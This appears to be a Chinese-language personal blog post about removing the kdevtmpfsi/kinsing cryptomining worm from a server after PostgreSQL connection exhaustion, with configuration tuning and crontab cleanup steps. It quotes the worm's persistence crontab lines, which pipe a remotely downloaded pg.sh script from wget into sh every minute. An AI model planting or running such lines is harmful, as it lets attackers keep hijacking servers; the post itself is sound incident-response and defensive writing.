挖礦殭屍網路蠕蟲病毒kdevtmpfsi處理過程

Codorld發表於2023-02-21

背景:

  • pgsql連線時候報錯org.postgresql.util.PSQLException: FATAL: sorry, too many clients already, 意思是client已經把連線池佔滿了.

  • 使用ps -ef | grep postgres刪除幾個程式, 進入資料庫執行SELECT * FROM pg_stat_activity, 發現大部分都是idle空閒狀態的連線

  • 然後修改/var/lib/pgsql/14/data/postgres.conf中的idle_session_timeout為2000(2s), 但是資料庫中有警告(如下), 同時navicat中稍等2s後也會報這樣異常, 但是再次執行就可以. 因為navicat/dbeaver也是透過連線池方式與資料庫進行的連線

    2023-02-20 14:15:37.926 2023-02-20 14:15:37,926 [http-nio-80-exec-1459] WARN com.zaxxer.hikari.pool.PoolBase 173 - HikariPool-98 - Failed to validate connection org.postgresql.jdbc.PgConnection@5e029bbb (This connection has been closed.)

  • 後來只好將idle_session_timeout恢復, 然後嘗試擴大執行緒池大小

  • 但是執行緒池大小跟伺服器配置有關, 預設的大小是100, 在postgres.conf中修改max_connections為200, 重啟資料庫雖然可以正常使用, 但是在tomcat重啟時(war包會依次重新部署), 伺服器因為資料庫連線池太大, 導致tomcat啟動失敗(可能是堆疊溢位了).

  • 再次嘗試調整到150, 雖然可以正常使用, 但是postgres會佔用cpu太高, 300%左右, 只好調整回100.

  • 在pgsql高版本中對此也有一部分配置, 比如每隔幾分鐘會發現無效連線並進行關閉, 可以減輕部分連線池壓力(詳情見參考1)

    一、idle_session_timeout引數
    
    用來控制空閒會話連線超時的時間。區別於tcp_keepalives相關引數,
    
    當一個會話連線長時間沒有執行SQL或者活動時,會將該會話釋放,可以釋放快取避免出現例如OOM等問題
    
    idle_session_timeout:預設值為0,表示禁用,其單位是毫秒;
    
    14版本引入了idle_session_timeout引數,可以在設定該引數,超過設定的時間,資料庫會關閉空閒連線。之前的老版本可以使用pg_timeout外掛,達到同樣的效果。但是同樣也會關閉掉我們想保留的正常的空閒連線,所以設定TCP keepalive是更好的解決方案。
    
    二、postgresql的tcp_keepalives相關引數設定可以及時發現無效連線,
    
    如下這樣可以在5分鐘以內就探測出無效連線
    
    tcp_keepalives_idle = 60 # TCP_KEEPIDLE, in seconds;
    
    tcp_keepalives_interval = 20 # TCP_KEEPINTVL, in seconds;
    
    tcp_keepalives_count = 10 # TCP_KEEPCNT;
    
    三、PG14版本還引入了client_connection_check_interval引數,
    
    每隔一段時間檢測client是否離線(斷開),如果已經離線,則快速結束掉正在執行的query,,浪費資料庫資源。預設是0,單位預設毫秒
    
    官方文件解釋:
    
    client_connection_check_interval = 0 # time between checks for client # disconnection while running queries; 0 for never
    

  • 就在調整回100後過了半個小時, 進伺服器使用top複查時, 發現了一個還有一個執行緒佔用了388.0%, 名稱為kdevtmpfsi, 經過百度發現這是個在20年處爆發的挖礦殭屍網路蠕蟲病毒, 但是網上都是說是透過redis未授權或弱口令作為入口進行侵入的, 但是這次遇到的情況卻不是因為redis引起的.

    image

  • 第一步肯定是先把程式停了: 使用kill -9 pid停止程式, 發現有個依賴程式kinsing, 那就先使用ps -ef | grep kinsing找到對應的pid停止即可.

  • 如果到這一步停止的話, 過不了多久他會自動重新啟動的.

  • 繼續挖, 全盤查詢這兩個檔案 find / kinsing發現只有/tmp中有, 我第一次時候直接rm -f /tmp/kinsing刪除了這兩個檔案, 然後就束手無策了, 但是在一小時左右時候kinsing又重新生成了.

  • 透過ll發現kinsing的擁有者是postgres, 這時才確定了是pgsql引起的, 而不是redis引起的

    image

  • 接下來就好說了, 首先刪除kinsing檔案

  • 使用crontab指令(下方是使用說明)找出postgres建立的定時任務, 刪除掉即可.

Usage:
 crontab [options] file
 crontab [options]
 crontab -n [hostname]

Options:
 -u <user>  define user
 -e         edit user's crontab
 -l         list user's crontab
 -r         delete user's crontab
 -i         prompt before deleting
 -n <host>  set host in cluster to run users' crontabs
 -c         get host in cluster to run users' crontabs
 -s         selinux context
 -V         print version and exit
 -x <mask>  enable debugging

-u 定義使用者(誰建立的)
-e 修改使用者建立的定時任務
-l 列舉出使用者建立的定時任務
-r 刪除使用者建立的定時任務


crontab -u postgres -e 使用預設編輯器開啟postgres建立的定時任務, 對應的定時任務檔案在/var/spool/cron/目錄下.

顯示:

* * * * * wget -q -O - http://[ip]/pg.sh | sh > /dev/null 2>&1
* * * * * wget -q -O - http://[other ip]/pg.sh | sh > /dev/null 2>&1

刪除的話直接使用vim指令dd全部刪除, :wq儲存退出即可.


哪些有風險呢? 透過尋找解決之法時候發現包括但不限於以下幾種

  • redis

  • pgsql

  • php

如何避免呢?

  • 伺服器上只開放使用到的伺服器

  • 儘量不使用預設埠(如: 3306, 5432, 8848)

  • 不用使用預設密碼, 一定修改密碼, 且複雜度高一些

  • 安裝包使用官方版本


參考1: postgresql空閒連線以及連線有效性檢查的引數小結

參考2: Postgres資料庫修改最大連線數

參考3: 記一次伺服器 linux(centos7)被 postgres 病毒攻擊, 挖礦的事故

參考4: 阿里雲伺服器中挖礦病毒了,名稱為 kinsing

參考5: kdevtmpfsi using 100% of CPU?

參考6: 關於linux病毒kinsing kdevtmpfsi 的處理

參考7: Linux伺服器kdevtmpfsi挖礦病毒解決方法:治標+治本

參考8: kdevtmpfsi 處理(挖礦病毒清除)

參考9: 威脅快報|Redis RCE導致h2Miner蠕蟲新一輪爆發,建議使用者及時排查以防事態升級

參考10: linux - kdevtmpfsi using the entire CPU

相關文章